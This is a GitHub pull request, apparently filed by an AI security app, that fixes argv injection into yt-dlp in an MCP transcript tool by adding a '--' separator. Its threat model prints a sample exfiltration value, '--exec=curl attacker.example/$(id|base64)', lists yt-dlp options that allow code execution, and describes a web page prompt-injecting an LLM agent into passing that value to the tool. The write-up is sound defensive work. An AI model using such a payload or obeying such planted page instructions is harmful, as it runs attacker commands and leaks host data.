fix(fetcher): prevent argv injection into yt-dlp via videoUrl - #48
Open
sebastionoss wants to merge 1 commit into
Open
fix(fetcher): prevent argv injection into yt-dlp via videoUrl#48sebastionoss wants to merge 1 commit into
sebastionoss wants to merge 1 commit into
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
The
fetchTranscriptViaYtDlphelper insrc/Fetcher.tsinvokesyt-dlpviaexecFileSyncand passes the user-suppliedvideoUrlas a positional argument without separating options from arguments. BecauseexecFileSyncbypasses the shell but not the target program's own option parser, avideoUrlvalue that begins with-or--is interpreted byyt-dlpas an option rather than a URL.yt-dlpexposes several options that lead to arbitrary command / code execution on the host running the MCP server, including:--exec CMD— run an arbitrary shell command after download--external-downloader/--downloader— invoke an arbitrary binary--load-info-json FILEand--config-locations PATH— load attacker-controlled configurationThis is a classic argv-injection issue (CWE-88, related to CWE-78) against a child process, not a shell-injection issue in Node itself.
Threat model
videoUrlreaches the vulnerable sink from thefetch_youtube_transcriptMCP tool. In an MCP deployment the tool arguments originate from an LLM agent, which in agentic workflows is often steered by untrusted content the agent fetched from the web (prompt-injection). A page instructing the agent to call the transcript tool with a URL like--exec=curl attacker.example/$(id|base64)would causeyt-dlpto execute the attacker's command on the MCP host.checkYtDlp()gates this path, so exploitation requiresyt-dlpto be installed — which is the documented setup for the YouTube transcript feature.The sibling
langparameter is already regex-validated (/^[a-zA-Z0-9-]+$/) at lines 208 and 289, so it is not exploitable.videoUrlhad no equivalent guard.Fix
Insert the POSIX
--end-of-options sentinel immediately beforevideoUrlin the argv array passed toexecFileSync.yt-dlp(built on Python'sargparse) honours--, so every subsequent token is treated as a positional URL regardless of leading dashes.One-line change, single call site —
grep -n 'yt-dlp' src/Fetcher.tsconfirms this is the only invocation.Proof of concept
Without the fix, calling the tool with a crafted URL causes
yt-dlpto parse it as an option. A minimal reproduction that does not require a real RCE payload:yt-dlpparses the value as an option and errors out — proving argv injection reaches its option parser. Swap the token for--exec=<cmd>(with a valid-looking URL following) on a system withyt-dlpinstalled and the command runs. With the--sentinel applied, the same value is treated as a URL andyt-dlpreports it as an invalid URL instead.Testing
npm test— all 89 tests pass on the patched branch.--appears immediately beforevideoUrl.Adversarial review
Before submitting we tried to disprove this. Candidates considered: (1)
execFileSyncalready prevents injection — false, it only avoids the shell, the child's own argparse still sees the token; (2) URLs cannot start with--in practice — irrelevant, the value is attacker-influenced, not user-typed; (3) some upstream validator rejects such inputs — there is no URL validation onvideoUrlbefore the sink, onlylangis validated; (4) yt-dlp might ignore unknown options — it does not, and--execis a real, documented option. The--sentinel is the standard, minimal, and correct mitigation and matches guidance from the yt-dlp maintainers for programmatic callers.Discovered by the Sebastion AI GitHub App.